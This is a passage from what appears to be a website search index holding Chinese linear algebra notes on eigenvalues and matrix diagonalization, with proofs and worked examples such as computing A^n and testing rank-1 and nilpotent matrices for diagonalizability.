\u5728\u4efb\u610f\u5143\u7d20\u4e0a\u7684\u50cf\u90fd\u5df2\u7ecf\u552f\u4e00\u786e\u5b9a\uff0c\u5219\u663e\u7136\u5728 \\(V\\) \u7684\u4e00\u7ec4\u57fa\u4e0a\u7684\u50cf\u4e5f\u552f\u4e00\u786e\u5b9a\uff0c\u7531\u7ebf\u6027\u6620\u5c04\u552f\u4e00\u786e\u5b9a\u7684\u5b9a\u7406\u53ef\u77e5\u8fd9\u6837\u7684\u7ebf\u6027\u6620\u5c04\u662f\u552f\u4e00\u7684\uff0c\\(\\sigma = c_0 I_V\\) \u7b26\u5408\u8981\u6c42\uff0c\u56e0\u6b64\u5b83\u5c31\u662f\u6211\u4eec\u8981\u627e\u7684\u7ebf\u6027\u6620\u5c04\u3002</p> </li> </ol> <p>Example</p> <p>\u8bbe \\(A\\) \u662f\u6570\u57df \\(\\mathbf{F}\\) \u4e0a\u4e00\u4e2a \\(n\\) \u9636\u65b9\u9635\uff0c\\(E\\) \u662f \\(n\\) \u9636\u5355\u4f4d\u77e9\u9635\uff0c\\(\\alpha_1 \\in \\mathbf{F}^n\\) \u662f \\(A\\) \u7684\u5c5e\u4e8e\u7279\u5f81\u503c \\(\\lambda\\) \u7684\u4e00\u4e2a\u7279\u5f81\u5411\u91cf\uff0c\u5411\u91cf\u7ec4 \\(\\alpha_1, \\alpha_2, \\ldots, \\alpha_s\\) \u6309\u5982\u4e0b\u65b9\u5f0f\u4ea7\u751f\uff1a  </p> \\[(A - \\lambda E) \\alpha_{i+1} = \\alpha_i, \\quad i = 1, 2, \\ldots, s-1.\\] <p>\u8bc1\u660e\u5411\u91cf\u7ec4 \\(\\{\\alpha_1, \\alpha_2, \\ldots, \\alpha_s\\}\\) \u7ebf\u6027\u65e0\u5173\u3002</p> Proof <p>\u7531\u4e8e \\(\\alpha_1\\) \u662f \\(A\\) \u5c5e\u4e8e\u7279\u5f81\u503c \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u6545\u6709 \\((A - \\lambda E) \\alpha_1 = 0\\)\u3002</p> <p>\u8bbe $$ \\sum_{i=1}^{s} k_i \\alpha_i = 0, $$ \u4e24\u8fb9\u540c\u65f6\u5de6\u4e58 \\((A - \\lambda E)\\) \u53ef\u5f97 $$ (A - \\lambda E) \\sum_{i=1}^{s} k_i \\alpha_i = \\sum_{i=1}^{s} k_i (A - \\lambda E) \\alpha_i = k_1 (A - \\lambda E) \\alpha_1 + \\sum_{i=1}^{s-1} k_{i+1} \\alpha_i = \\sum_{i=1}^{s-1} k_{i+1} \\alpha_i = 0. $$</p> <p>\u4ee5\u6b64\u7c7b\u63a8\uff0c\u5728\u7b49\u5f0f\u4e24\u8fb9\u4e0d\u65ad\u5de6\u4e58 \\((A - \\lambda E)\\) \u53ef\u5f97\uff1a\u5bf9\u4e8e \\(\\forall r \\in \\{1, \\cdots, s-1\\}\\) \u90fd\u6709 $$ \\sum_{i=1}^{s-r} k_{i+r} \\alpha_i = 0. $$</p> <p>\u4ee4 \\(r = s-1\\) \u5f97\u5230 \\(k_s \\alpha_1 = 0, \\quad k_s = 0\\)\u3002\u518d\u4f9d\u6b21\u4ee3\u56de\u4e0d\u96be\u5f97\u5230 \\(k_i = 0, \\quad \\forall i \\in \\{1, \\cdots, s\\}\\)\uff0c\u4ece\u800c\u5411\u91cf\u7ec4 \\(\\alpha_1, \\cdots, \\alpha_s\\) \u7ebf\u6027\u65e0\u5173\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_8","title":"\u53ef\u5bf9\u89d2\u5316\u7684\u6761\u4ef6","text":"<p>\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bbe\\(\\sigma\\in\\mathcal{L}(V)\\)\uff0c\u5982\u679c\u5b58\u5728\\(V\\)\u7684\u4e00\u7ec4\u57fa\u4f7f\u5f97\\(\\sigma\\)\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\u662f\u5bf9\u89d2\u77e9\u9635\uff0c\u5219\u79f0\\(\\sigma\\)\u53ef\u5bf9\u89d2\u5316.</p> <p>\u8bbe\\(V\\)\u662f\u6570\u57df\\(\\mathbf{F}\\)\u4e0a\u7684\\(n\\)\u7ef4\u7ebf\u6027\u7a7a\u95f4\uff0c\\(\\sigma\\)\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\\(\\lambda_1,\\lambda_2,\\ldots,\\lambda_s\\in\\mathbf{F}\\)\u662f\\(\\sigma\\)\u7684\u6240\u6709\u4e92\u5f02\u7279\u5f81\u503c\uff0c\u5219\u4ee5\u4e0b\u6761\u4ef6\u7b49\u4ef7\uff1a</p> <ol> <li>\\(\\sigma\\) \u53ef\u5bf9\u89d2\u5316\uff1b</li> <li>\\(\\sigma\\) \u6709 \\(n\\) \u4e2a\u7ebf\u6027\u65e0\u5173\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5b83\u4eec\u6784\u6210 \\(V\\) \u7684\u4e00\u7ec4\u57fa\uff1b</li> <li>\\(V\\) \u6709\u5728 \\(\\sigma\\) \u4e0b\u4e0d\u53d8\u7684\u4e00\u7ef4\u5b50\u7a7a\u95f4 \\(U_1, \\ldots, U_n\\)\uff0c\u4f7f\u5f97 \\(V = U_1 \\oplus \\cdots \\oplus U_n\\)\uff1b</li> <li>\\(V = V_{\\lambda_1} \\oplus V_{\\lambda_2} \\oplus \\cdots \\oplus V_{\\lambda_s}\\)\uff1b</li> <li>\\(n = \\dim V_{\\lambda_1} + \\dim V_{\\lambda_2} + \\cdots + \\dim V_{\\lambda_s}\\)\uff1b</li> <li>\\(\\sigma\\) \u6bcf\u4e2a\u7279\u5f81\u503c\u7684\u4ee3\u6570\u91cd\u6570\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570\u3002</li> </ol> <p>\u6709\u63a8\u8bba</p> <p>\u82e5 \\(n\\) \u9636\u77e9\u9635 \\(A\\) \u6709 \\(n\\) \u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff0c\u5219 \\(A\\) \u53ef\u5bf9\u89d2\u5316. \u53cd\u4e4b\uff0c\\(A\\) \u53ef\u5bf9\u89d2\u5316\u4e0d\u4e00\u5b9a\u6709 \\(n\\) \u4e2a\u7279\u5f81\u503c.</p> <p>Key-point</p> <p>\u603b\u7ed3\u800c\u8a00\uff0c\u53ea\u8981\u7279\u5f81\u5b50\u7a7a\u95f4\u53ef\u4ee5\u5f20\u6210\u6574\u4e2a\u7a7a\u95f4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7ebf\u6027\u53d8\u6362\u5c31\u662f\u53ef\u5bf9\u89d2\u5316\u7684\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_9","title":"\u5bf9\u89d2\u5316\u7684\u57fa\u672c\u6b65\u9aa4","text":"<ol> <li>\u5148\u4efb\u610f\u5199\u51fa \\(\\sigma\\) \u5728\u4e00\u7ec4\u57fa \\(\\mathbf{B}\\) \u4e0b\u7684\u77e9\u9635 \\(A\\)\uff0c\u5f53\u7136\u4e3a\u4e86\u8ba1\u7b97\u65b9\u4fbf\u4e00\u822c\u9009\u53d6\u81ea\u7136\u57fa\uff1b</li> <li>\u5229\u7528\u7279\u5f81\u591a\u9879\u5f0f \\(f(\\lambda) = |\\lambda E \u2212 A| = 0\\) \u6c42\u51fa \\(A\\) \u7684\u6240\u6709\u4e0d\u540c\u7279\u5f81\u503c\uff1b</li> <li>\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4 \\(AX = \\lambda X\\)\uff08\u5b9e\u9645\u4e0a\u5c31\u662f\u65b9\u7a0b\u7ec4 \\((\\lambda E \u2212 A)X = 0\\)\uff0c\u5176\u4e2d \\(\\lambda\\) \u662f\u4e0a\u4e00\u6b65\u6c42 \u51fa\u7684\u7279\u5f81\u503c\uff09\u6c42\u51fa \\(A\\) \u5728\u4e0d\u540c\u7279\u5f81\u503c\u4e0b\u7684\u7ebf\u6027\u65e0\u5173\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\u7b2c\u4e09\u6b65\u4e2d\u6c42\u5f97\u7684\u6240\u6709\u5411\u91cf\u5c31\u662f \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\u5728\u57fa \\(B\\) \u4e0b\u7684\u5750\u6807\uff0c\u6839\u636e\u524d\u9762\u7684\u8ba8\u8bba\uff0c\\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u4e5f\u5c31\u662f\u4f7f\u5f97 \\(\\sigma\\) \u7684\u77e9\u9635\u8868\u793a\u4e3a\u5bf9\u89d2\u77e9\u9635\u7684\u90a3\u7ec4\u57fa.</li> <li>\u5f53\u7136\uff0c\u5982\u679c\u9898\u76ee\u4e2d\u76f4\u63a5\u7ed9\u51fa\u6c42 \\(P\\) \u4f7f\u5f97 \\(P^{\u22121}AP\\) \u4e3a\u5bf9\u89d2\u77e9\u9635\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8fdb\u884c 2\u30013 \u4e24\u6b65\uff0c\u5e76\u5c06 3 \u4e2d\u5f97\u5230\u7684\u5411\u91cf\u6309\u5217\u6392\u5217\u6210\u77e9\u9635 P \u5373\u53ef 6.\u5982\u679c\u8981\u6c42\\(P\\)\u662f\u6b63\u4ea4\u77e9\u9635\uff0c\u90a3\u4e483\u4e2d\u6c42\u51fa\u6765\u7684\u6240\u6709\u5411\u91cf\u9700\u8981\u5728 \u5404\u81ea\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e2d\u6b63\u4ea4\u5316 \u3002</li> </ol> <p>Example</p> <p>\u6c42\u77e9\u9635</p> \\[A=\\begin{pmatrix}         0  &amp; -1 &amp; 1 \\\\         -1 &amp; 0  &amp; 1 \\\\         1  &amp; 1  &amp; 0     \\end{pmatrix} \\] <p>\u7684\u6240\u6709\u7279\u5f81\u503c\uff0c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4ee5\u53ca\u4e0e \\(A\\) \u76f8\u4f3c\u7684\u4e00\u4e2a\u5bf9\u89d2\u77e9\u9635.</p> Answer <p>\u5bf9\u4e8e\u6c42\u89e3\u77e9\u9635\u7684\u5bf9\u89d2\u5316\u95ee\u9898\uff0c\u9996\u5148\u6c42\u51fa\u5176\u7279\u5f81\u591a\u9879\u5f0f\uff08\u5177\u4f53\u6b65\u9aa4\u4e0d\u5c55\u5f00\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e09\u9636\u884c\u5217\u5f0f\u7684\u8ba1\u7b97\uff0c\u53ef\u4ee5\u4f7f\u7528\u6309\u884c\uff08\u5217\uff09\u5c55\u5f00\u3001\u516c\u5f0f\u6cd5\u6216\u8005\u521d\u7b49\u53d8\u6362\u5316\u4e3a\u4e09\u89d2\u77e9\u9635\u7b49\u65b9\u6cd5\uff09\\(f(\\lambda)=|\\lambda E-A|=(\\lambda-1)^2(\\lambda+2)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=\\lambda_2=1,\\lambda_3=-2\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u548c\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u5373\u6c42\u89e3\\((E-A)x=0\\)\u548c\u89e3\\((-2E-A)x=0\\)\uff0c\u5f97\u5230\u7279\u5f81\u503c1\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e3a\\(\\mathbf{spa}((-1,1,0)^{\\mathrm{T}},(1,0,1)^{\\mathrm{T}})\\)\uff0c\u7279\u5f81\u503c-2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e3a\\(\\mathbf{spa}((-1,-1,1)^{\\mathrm{T}})\\).</p> <p>\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\u5b9e\u9645\u4e0a\u5c31\u662f\u7279\u5f81\u503c\u6392\u5217\u5728\u5bf9\u89d2\u7ebf\u4e0a\u7684\u7ed3\u679c\uff0c\u5373 \\(\\mathbf{diag}(1,1,-2)\\).</p> <p>Example</p> <p>\u8bbe \\(T\\) \u662f\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e 2 \u7684\u5b9e\u591a\u9879\u5f0f\u7ebf\u6027\u7a7a\u95f4 \\(V\\) \u4e0a\u7684\u53d8\u6362\uff0c\u5bf9\u4efb\u610f \\(f(x) \\in V\\)\uff0c\u5b9a\u4e49</p> \\[T(f(x))=\\frac{\\mathrm{d}((x-2)f(x))}{\\mathrm{d}x}\\] <p>\u8bc1\u660e \\(T\\) \u662f \\(V\\) \u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u4e14\\(T\\)\u53ef\u5bf9\u89d2\u5316.</p> Answer <p>\u9996\u5148\u8bc1\u660e\u8fd9\u662f\u7ebf\u6027\u53d8\u6362. \u9996\u5148\u9a8c\u8bc1\u7ebf\u6027\u6027\uff0c\u5bf9\u4e8e\u4efb\u610f\\(f(x),g(x)\\in V\\)\uff0c\\(a,b\\in\\mathbf{R}\\)\uff0c\u6211\u4eec\u6709</p> \\[\\begin{align*}     T(af(x)+bg(x)) &amp; =\\frac{\\mathrm{d}((x-2)(af(x)+bg(x)))}{\\mathrm{d}x}                                    \\\\                      &amp; =\\frac{\\mathrm{d}(axf(x)-2af(x)+bxg(x)-2bg(x))}{\\mathrm{d}x}                           \\\\                      &amp; =a\\frac{\\mathrm{d}((x-2)f(x))}{\\mathrm{d}x}+b\\frac{\\mathrm{d}((x-2)g(x))}{\\mathrm{d}x} \\\\                      &amp; =aT(f(x))+bT(g(x)). \\end{align*}\\] <p>\u7136\u540e\u8bf4\u660e\u8fd9\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u5373\u8be5\u6620\u5c04\u7684\u5230\u8fbe\u7a7a\u95f4\u662f\\(V\\)\uff0c\u5373\\(T(f(x))\\in V\\)\uff0c \u56e0\u4e3a\\(f(x)\\)\u662f\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e2\u7684\u5b9e\u591a\u9879\u5f0f\uff0c\u8bbe\\(f(x)=ax^2+bx+c\\)\uff0c\u5219</p> \\[\\begin{align*}       T(f(x)) &amp; =\\frac{\\mathrm{d}((x-2)(ax^2+bx+c))}{\\mathrm{d}x}          \\\\               &amp; =\\frac{\\mathrm{d}(ax^3+(b-2a)x^2+(c-2b)x-2c)}{\\mathrm{d}x} \\\\               &amp; =3ax^2+2(b-2a)x+(c-2b)\\in V. \\end{align*}\\] <p>\u56e0\u6b64\\(T\\)\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362.</p> <p>\u4e0b\u9762\u6211\u4eec\u6765\u5224\u65ad\\(T\\)\u662f\u5426\u53ef\u5bf9\u89d2\u5316. \u7ebf\u6027\u53d8\u6362\u7684\u53ef\u5bf9\u89d2\u5316\u95ee\u9898\u7b2c\u4e00\u6b65\u8981\u8f6c\u5316\u4e3a\u4efb\u610f\u4e00\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\uff0c\u7136\u540e\u5224\u65ad\u77e9\u9635\u662f\u5426\u53ef\u5bf9\u89d2\u5316\uff0c\u56e0\u6b64\u6211\u4eec\u5148\u4efb\u610f\u9009\u53d6\u4e00\u7ec4\u57fa\uff0c\u4e3a\u65b9\u4fbf\u6211\u4eec\u9009\u53d6\u81ea\u7136\u57fa\\(\\{1,x,x^2\\}\\)\uff0c\u7136\u540e\u6c42\u51fa\\(T\\)\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\\(A=\\begin{pmatrix}        1 &amp; -2 &amp; 0 \\\\ 0 &amp; 2 &amp; -4 \\\\ 0 &amp; 0 &amp; 3 \\end{pmatrix}\\)\uff0c\u7136\u540e\u6c42\u51fa\u5176\u7279\u5f81\u591a\u9879\u5f0f\\(f(\\lambda)=|\\lambda E-A|=(\\lambda-1)(\\lambda-2)(\\lambda-3)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=1,\\lambda_2=2,\\lambda_3=3\\). \u5373\u8be53\u9636\u77e9\u9635\u67093\u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff0c\u56e0\u6b64\u53ef\u77e5\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u5373\\(T\\)\u53ef\u5bf9\u89d2\u5316.</p>"},{"location":"NOTE/LA/eigenvalue/#_10","title":"\u7ecf\u5178\u95ee\u9898","text":"<p>\u53ef\u5bf9\u89d2\u5316\u6c42\u77e9\u9635\u5e42</p> <p>\u5df2\u77e5\\(A=\\begin{pmatrix}         0 &amp; \\dfrac{1}{2}  &amp; \\dfrac{1}{2} \\\\[2ex]         1 &amp; -\\dfrac{1}{2} &amp; \\dfrac{1}{2} \\\\[2ex]         1 &amp; -\\dfrac{1}{2} &amp; \\dfrac{1}{2}     \\end{pmatrix}\\)\uff0c\u6c42\\(A^n\\).</p> Answer <p>\u9996\u5148\u6c42\u51fa\\(A\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\\(f(\\lambda)=|\\lambda E-A|=\\lambda(\\lambda-1)(\\lambda+1)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=0,\\lambda_2=1,\\lambda_3=-1\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u548c\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u6c42\u89e3\\((0E-A)x=0,(-E-A)x=0,(E-A)x=0\\)\uff0c\u5f97\u5230\u7279\u5f81\u5411\u91cf\u4e3a</p> \\[\\eta_1=\\begin{pmatrix}        1 \\\\ 1 \\\\ -1    \\end{pmatrix},\\enspace \\eta_2=\\begin{pmatrix}        1 \\\\ 1 \\\\ 1    \\end{pmatrix},\\enspace \\eta_3=\\begin{pmatrix}        1 \\\\ -1 \\\\ -1    \\end{pmatrix}.\\] <p>\u6240\u4ee5\u8bb0\\(P=(\\eta_1,\\eta_2,\\eta_3)\\)\uff0c\u5219\\(A=P\\mathbf{diag}(0,1,-1)P^{-1}\\)\uff0c\u56e0\u6b64</p> \\[     A^n=P\\mathbf{diag}(0^n,1^n,(-1)^n)P^{-1} \\] <p>\u8fdb\u4e00\u6b65\u8ba1\u7b97\u5f97\u5230</p> \\[A^n=\\frac{1}{2}\\begin{pmatrix}        1+(-1)^n     &amp; (-1)^{n+1} &amp; 1 \\\\        1+(-1)^{n+1} &amp; (-1)^n     &amp; 1 \\\\        1+(-1)^{n+1} &amp; (-1)^n     &amp; 1    \\end{pmatrix}.\\] <p>\u79e91\u77e9\u9635\u53ef\u5bf9\u89d2\u5316\u6761\u4ef6</p> <p>\u8bbe\\(\\alpha\\)\u548c\\(\\beta\\)\u662f\\(\\mathbf{R}^n\\enspace (n&gt;1)\\)\u4e2d\u4e24\u4e2a\u5217\u5411\u91cf\uff0c\\(A=\\alpha\\beta^\\mathrm{T}\\neq O\\).</p> <ul> <li> <p>\u6c42\\(A\\)\u7684\u7279\u5f81\u503c\uff1b</p> </li> <li> <p>\u8bc1\u660e\uff1a\\(\\alpha^\\mathrm{T}\\beta=0\\iff A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316.</p> </li> </ul> Answer <ul> <li>\u6211\u4eec\u77e5\u9053\uff0c\\(r(A)\\leqslant\\min{\\{r(\\alpha),r(\\beta)\\}}=1\\)\uff0c\u5e76\u4e14\\(A\\neq O\\)\u56e0\u6b64\\(r(A)&gt;0\\)\uff0c\u6545\\(A\\)\u7684\u79e9\u4e3a1. \u800c\\(n&gt;1\\)\uff0c\u56e0\u6b64\\(A\\)\u4e00\u5b9a\u4e0d\u53ef\u9006\uff0c\u65450\u4e00\u5b9a\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(AX=0\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u5373\u4e3a\\(n-1\\).</li> </ul> <p>\u7531\u6b64\u6211\u4eec\u77e5\u9053\\(A\\)\u6700\u591a\u6709\u4e24\u4e2a\u7279\u5f81\u503c\uff0c\u56e0\u4e3a0\u7684\u4ee3\u6570\u91cd\u6570\uff08\u5373\u4f5c\u4e3a\\(n\\)\u6b21\u7279\u5f81\u591a\u9879\u5f0f\u7684\u96f6\u70b9\u6b21\u6570\uff09\u5fc5\u7136\u5927\u4e8e\u7b49\u4e8e\u5176\u51e0\u4f55\u91cd\u6570\\(n-1\\)\uff0c\u5f53\u671f\u4ee3\u6570\u91cd\u6570\u4e3a\\(n-1\\)\u65f6\u53ef\u80fd\u8fd8\u6709\u4e00\u4e2a\u4e00\u91cd\u7279\u5f81\u503c. \u6211\u4eec\u5229\u7528\u7279\u5f81\u503c\u4e4b\u548c\u7b49\u4e8e\\(A\\)\u7684\u8ff9\u6765\u627e\u51fa\u53ef\u80fd\u7684\u7b2c\u4e8c\u4e2a\u7279\u5f81\u503c. \u6211\u4eec\u8bbe\\(\\alpha=(a_1,a_2,\\ldots,a_n)^\\mathrm{T},\\beta=(b_1,b_2,\\ldots,b_n)^\\mathrm{T}\\)\uff0c\u5219\\(A=\\alpha\\beta^\\mathrm{T}=\\begin{pmatrix}         a_1b_1 &amp; a_1b_2 &amp; \\cdots &amp; a_1b_n \\\\         a_2b_1 &amp; a_2b_2 &amp; \\cdots &amp; a_2b_n \\\\         \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\         a_nb_1 &amp; a_nb_2 &amp; \\cdots &amp; a_nb_n     \\end{pmatrix}\\)\uff0c \u56e0\u6b64\\(A\\)\u7684\u8ff9\u4e3a\\(\\sum\\limits_{i=1}^na_ib_i=\\alpha^\\mathrm{T}\\beta=\\sum\\limits_{i=1}^n\\lambda_i\\)\uff0c\u5176\u4e2d\\(\\lambda_i\\)\u4e3a\\(A\\)\u7684\u7279\u5f81\u503c. \u82e5\\(\\alpha^\\mathrm{T}\\beta\\neq 0\\)\uff0c\u5219\\(\\lambda_i=0,\\enspace i=1,\\ldots,n-1\\)\uff0c\\(\\lambda_n=\\alpha^\\mathrm{T}\\beta\\). \u82e5\\(\\alpha^\\mathrm{T}\\beta=0\\)\uff0c\u5219\\(A\\)\u7684\u6240\u6709\u7279\u5f81\u503c\u5747\u4e3a0.</p> <ul> <li>\u7531\u4e0a\u4e00\u5c0f\u95ee\u53ef\u77e5\uff0c\u82e5\\(\\alpha^\\mathrm{T}\\beta=0\\)\u5373\\(A\\)\u7684\u5168\u90e8\u7279\u5f81\u503c\u4e3a0\uff0c\u56e0\u6b64\u53ea\u6709\u4e00\u4e2a\\(n-1\\)\u7ef4\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u6545\u7279\u5f81\u5b50\u7a7a\u95f4\u76f4\u548c\u4e0d\u7b49\u4e8e\\(V\\)\uff0c\u6545\u4e0d\u53ef\u5bf9\u89d2\u5316.</li> </ul> <p>\u53cd\u4e4b\uff0c\u82e5\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\uff0c\u6211\u4eec\u7528\u53cd\u8bc1\u6cd5. \u5047\u8bbe\\(\\alpha^\\mathrm{T}\\beta\\neq 0\\)\uff0c\u5219\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u503c\uff0c\u4e00\u4e2a\u4e3a0\uff0c\u4e00\u4e2a\u4e3a\\(\\alpha^\\mathrm{T}\\beta\\)\uff0c\u56e0\u6b64\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4e00\u4e2a\u662f0\u5bf9\u5e94\u7684\\(n-1\\)\u7ef4\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4e00\u4e2a\u662f\\(\\alpha^\\mathrm{T}\\beta\\)\u5bf9\u5e94\u7684\u4e00\u7ef4\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u56e0\u6b64\\(V\\)\u53ef\u5206\u89e3\u4e3a\u4e24\u4e2a\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u76f4\u548c\uff0c\u4e0e\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\u77db\u76fe\uff0c\u56e0\u6b64\\(\\alpha^\\mathrm{T}\\beta=0\\).</p> <p>\u5e42\u96f6\u77e9\u9635\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u975e\u96f6\u77e9\u9635\uff0c\u4e14\\(A^m=O\\enspace(m\\in\\mathbf{N}_+,\\enspace m&gt;1)\\). \u8bc1\u660e\uff1a\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\uff1b</p> Answer <p>\u8bbe\\(\\lambda\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u7531\u9898\u610f\\(\\lambda^m=0\\)\uff0c\u5373\\(\\lambda=0\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u6240\u6709\u7279\u5f81\u503c\u90fd\u4e3a0. \u4f46\\(r(A)&gt;0\\)\uff08\u56e0\u4e3a\\(A\\)\u4e0d\u662f\u96f6\u77e9\u9635\uff09\uff0c\u56e0\u6b640\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(n-r(A)&lt;n\\)\uff0c\u56e0\u6b64\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316.</p> <p>\u7ed9\u51fa\u77e9\u9635\u65b9\u7a0b\u95ee\u5bf9\u89d2\u5316</p> <ul> <li> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u77e9\u9635\uff0c\u4e14\\(A^2=2A\\). \u8bc1\u660e\uff1a\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u5e76\u6c42\u51fa\u4e0e\u4e4b\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\uff08\u6ce8\uff1a\u672c\u9898\u7ed3\u8bba\u53ef\u63a8\u5e7f\u5230\u4efb\u610f\u7684\\(A^2=kA\\)\uff09\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e8c\u9636\u77e9\u9635\uff0c\u975e\u96f6\u5411\u91cf\\(\\alpha\\)\u4e0d\u662f\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u4e14\\(A^2\\alpha-3A\\alpha+2\\alpha=0\\). \u8bc1\u660e\uff1a\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u65e0\u5173\u4e14\\(A\\)\u53ef\u5bf9\u89d2\u5316\u5e76\u6c42\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635.</p> </li> </ul> Answer <p>1. \u7531\u9898\u610f\\(A^2-2A=O\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u5c31\u662f\u65b9\u7a0b\\(\\lambda^2-2\\lambda=0\\)\u7684\u89e3\uff0c\u5373\\(\\lambda_1=0,\\lambda_2=2\\).</p> <p>\u63a5\u4e0b\u6765\u6211\u4eec\u9700\u8981\u8bf4\u660e0\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e4b\u548c\u4e3a\\(n\\)\uff0c\u5373\\(\\dim V_0+\\dim V_2=n\\)\uff0c\u5176\u4e2d\\(V_0\\)\u548c\\(V_2\\)\u5206\u522b\u4e3a0\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4. \u4e8b\u5b9e\u4e0a\uff0c\u7531\\(A^2=2A\\)\u53ef\u77e5\\(A(A-2E)=O\\)\uff0c\u7531\u77e5\\(r(A)+r(A-2E)\\leqslant n\\)\uff0c\u53c8\u6839\u636e\u79e9\u4e0d\u7b49\u5f0f\\(r(A)+r(B)\\geqslant r(A+B)\\)\uff0c\u56e0\u6b64\\(r(A)+r(A-2E)=r(A)+r(2E-A)\\geqslant r(A+(2E-A))=r(2E)=n\\). \u7efc\u4e0a\u53ef\u77e5\uff0c\\(r(A)+r(A-2E)=n\\).</p> <p>\u5b9e\u9645\u4e0a\uff0c\\(V_0\\)\u5c31\u662f\\(AX=0\\)\u7684\u89e3\u7a7a\u95f4\uff0c\\(V_2\\)\u5c31\u662f\\((A-2E)X=0\\)\u7684\u89e3\u7a7a\u95f4\uff0c\u56e0\u6b64\\(\\dim V_0=n-r(A),\\dim V_2=n-r(A-2E)\\)\uff0c\u56e0\u6b64\u7531\\(r(A)+r(A-2E)=n\\)\u53ef\u77e5\\(\\dim V_0+\\dim V_2=2n-n=n\\)\uff0c\u53730\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e4b\u548c\u4e3a\\(n\\)\uff0c\u56e0\u6b64\\(A\\)\u53ef\u5bf9\u89d2\u5316.</p> 